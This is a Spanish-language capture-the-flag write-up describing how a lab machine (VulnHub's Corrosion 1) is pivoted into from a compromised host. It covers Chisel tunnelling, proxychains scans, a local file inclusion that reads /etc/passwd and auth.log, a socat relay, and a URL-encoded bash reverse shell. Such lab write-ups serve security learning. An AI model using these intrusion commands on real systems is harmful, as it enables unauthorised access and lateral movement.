Hello World \o/
  • 👾ENCONTRASTE MIS WRITEUPS
  • 🟣 MAQUINAS VULNERADAS
    • Vulnhub
      • Darkhole: 2
      • Symfonos 1
      • Symfonos 2
      • ICA: 1
      • Corrosion 2
      • Venom 1
      • Corrosion 1
    • HackTheBox
      • Return
      • Horizontall
      • Validation
      • Love
      • Nodeblog
      • NunChucks
      • Lame
      • Legacy
      • Knife
    • PortSwigger
      • Blind Sqli
  • 🟣 CTFS
    • Bandit
    • Baby Encription
    • Primed for Action
  • 🟣 BUG BOUNTIES
    • Open Redirect
  • 🟣 SCRIPTS
    • I Found You
  • 🟣 PROYECTOS
    • Landing Page
    • Face Tracker
  • 🟣 SOBRE MI
    • Contactame
Powered by GitBook
On this page
  1. 🟣 MAQUINAS VULNERADAS
  2. Vulnhub

Corrosion 1

Sobre esta maquina: VulnHub

Sistema Operativo: Linux

Skills Usados:

  • Local File Inclusion (LFI)

  • LFI + RCE via SSH Log Poisoning (auth.log)

  • EXTRA: Reverse shell playing with socat to make the shell travel from an intermediary computer to us

  • Cracking ZIP file

  • EXTRA: SSH over Proxychains

  • Abusing sudoers privilege + Creating and compiling malicious C file [Privilege Escalation]

Metodologia:

Esta maquina es una continuidad de Corrosion2. En este punto ya Corrosion 2 se encuentra comprometida y somos administradores la misión será pivotear hacia esta nueva maquina victima.

Empezamos viendo las redes internas:

// 
bash-5.0# ip a

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
inet6 ::1/128 scope host
valid_lft forever preferred_lft forever
2: ens33: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:0c:29:6c:73:2d brd ff:ff:ff:ff:ff:ff
altname enp2s1
inet 192.168.1.142/24 brd 192.168.1.255 scope global dynamic noprefixroute ens33
valid_lft 26994sec preferred_lft 26994sec
inet6 fe80::55c8:b2f9:c2b6:e356/64 scope link noprefixroute
valid_lft forever preferred_lft forever
3: ens34: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
link/ether 00:0c:29:6c:73:37 brd ff:ff:ff:ff:ff:ff
altname enp2s2
inet 10.10.0.130/24 brd 10.10.0.255 scope global dynamic noprefixroute ens34
valid_lft 1791sec preferred_lft 1791sec
inet6 fe80::58ac:26d7:9513:1fb9/64 scope link noprefixroute
valid_lft forever preferred_lft forever

Vemos que hay una interfaz interna 10.10.0.130/24, así que creamos un script para poder conseguir el host victima:

// 
bash-5.0# nano hostdescovery.sh
#!/bin/bash
for i in $(seq 1 254); do
timeout 1 bash -c "ping -c 1 10.10.0.$i" &> /dev/null && echo "[+] El HOST 10.10.0.$i esta activo" &
done; wait

Damos permisos de ejecucion y lo ejecutamos:

// 
bash-5.0# chmod +x hostdescovery.sh

bash-5.0# ./hostdescovery.sh

[+] El HOST 10.10.0.1 esta activo
[+] El HOST 10.10.0.130 esta activo
[+] El HOST 10.10.0.129 esta activo

bash-5.0# hostname -I
192.168.1.142 10.10.0.130

Ya que dentro de la red interna somos la 10.10.0.130 y el script descubrió la 10.10.0.129 ya sabemos cual es el host de la victima.

Con el objetivo claro intentaremos hacer un port forwarding con Chisel:

Nos descargamos chisel, lo desconprimimos y le damos permisos de ejecucion:

// 
chisel_1.10.1_linux_amd64.gz

❯ mv chisel_1.10.1_linux_amd64.gz chisel.gz

❯ gunzip chisel.gz

❯ chmod +x chisel

Ya con chisel funcional, creamos un servidor en python para transferirlo a la primera maquina vulnerada.

Una vez transferido y con permisos de ejecucion ahora ejecutamos chisel en nuestra maquina y en corrosion 2 para crear un tunel.

El tunel esta creado y hemos trasladado todos los puertos a nuestra maquina, eso quiere decir que ahora si podremos enumera y vulnerar corrosion1 usando Proxychains.

Realizamos un escaneo con nmap:

// 
❯ proxychains nmap -sT --top-ports 1000 -n --open -Pn -T5 10.10.0.129 2>/dev/null

ProxyChains-3.1 (http://proxychains.sf.net)
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-05-06 20:55 EDT
Nmap scan report for 10.10.0.129
Host is up (0.0059s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http

Miramos que corre por el puerto 80, pero pirmero configuramos foxyproxy con socks5 para poder verlo con normalidad , es un servidor apache 2:

Hacemos reconocimiento de directorios con gobuster:

// 
❯ proxychains gobuster dir -u http://10.10.0.129/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 --proxy socks5://127.0.0.1:1080
ProxyChains-3.1 (http://proxychains.sf.net)
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://10.10.0.129/
[+] Method: GET
[+] Threads: 20
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] Proxy: socks5://127.0.0.1:1080
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
Starting gobuster in directory enumeration mode
/tasks (Status: 301) [Size: 310] [--> http://10.10.0.129/tasks/]
/blog-post (Status: 301) [Size: 314] [--> http://10.10.0.129/blog-post/]

Veamos que contienen los subdominios encontrados: (capturas)

Realizamos otra busqueda con Gobuster en blog-post:

// 
❯ proxychains gobuster dir -u http://10.10.0.129/blog-post -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 20 --proxy socks5://127.0.0.1:1080
ProxyChains-3.1 (http://proxychains.sf.net)
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://10.10.0.129/blog-post
[+] Method: GET
[+] Threads: 20
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] Proxy: socks5://127.0.0.1:1080
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
Starting gobuster in directory enumeration mode
/uploads (Status: 301) [Size: 322] [--> http://10.10.0.129/blog-post/uploads/]
/archives (Status: 301) [Size: 323] [--> http://10.10.0.129/blog-post/archives/]

En el subdominio /archives conseguimos un archivo log en php muy interesante:

Intentaremos buscar algún otro subdominio que nos permita conseguir archivos importantes dentro del sistema:

// 
❯ gobuster fuzz -u "http://10.10.0.129/blog-post/archives/randylogs.php?FUZZ=/etc/passwd" -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt --proxy socks5://127.0.0.1:1080 | grep -v "Length=0"
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)

[+] Url: http://10.10.0.129/blog-post/archives/randylogs.php?FUZZ=/etc/passwd
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Proxy: socks5://127.0.0.1:1080
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
Starting gobuster in fuzzing mode
Found: [Status=200] [Length=2832] [Word=file] http://10.10.0.129/blog-post/archives/randylogs.php?file=/etc/passwd

Conseguimos file, haciendo fuzz con gobuster hechemosle un vistazo:

Vemos que entre los usuarios figura Randy, ya tenemos su password de la primera maquina, pero no la tenemos para esta segunda maquina.

Listaremos el directorio var/log para verificar si tenemos permiso de visualizacion:

// 
http://10.10.0.129/blog-post/archives/randylogs.php?file=/var/log/auth.log

Ahora intentaremos solicitar una terminal pero en nuestro sistema, eso si recordemos, esta red es cerrada y solo tiene comunicación con corrosion 2, asi que la reverse shell sera para corrosion 2 y una vez se establezca la conexion a traves de socat la enviaremos a nuestra maquina. para poder lograrlo haremos lo siguiente:

Ingresamos como root a randy (en la primera maquina) y descargamos SOCAT, para redirigir la reverse shell hacia nuestra maquina.

Enviamos socat a la sesion root de randy:

ahora que ya tenemos socat, lo utilizaremos para redirigir la terminal:

// 
./socat TCP-LISTEN:4646,fork TCP:192.168.1.136:443

Ya con el comando listo, nos ponemos en escucha, en nuestro sistema por el puerto 443 y enviamos la reverse shell a la maquina de randy, para que se nos redirija:

// 
http://10.10.0.129/blog-post/archives/randylogs.php?file=/var/log&cmd=bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.0.130%2F443%200%3E%261%2

Y listo ya tenemos acceso a la terminal y oficialmente estamos dentro de Corrosion 1, pivoteando con exito desde Corrosion 2, dando por finalizada esta maquina.

PreviousVenom 1NextHackTheBox

Last updated 17 days ago

Descargamos Chisel.
Enviamos Chisel A Corrosion 2.
Tunel Creado en Socks5 y podemos ejecutar ProxyChains.
Configuramos FoxyProxy Para poder ver por socks5 Todo lo que nos permite el Tunel.
Subdominio Tasks.
Contenido del ToDo.
Contenido de Blog-Post.
randy1000:1000:randy,,,:/home/randy:/bin/bash
tenemos exito
Socat.
Enviando Socat a la nueva terminal.
Enviamos reverse Shell.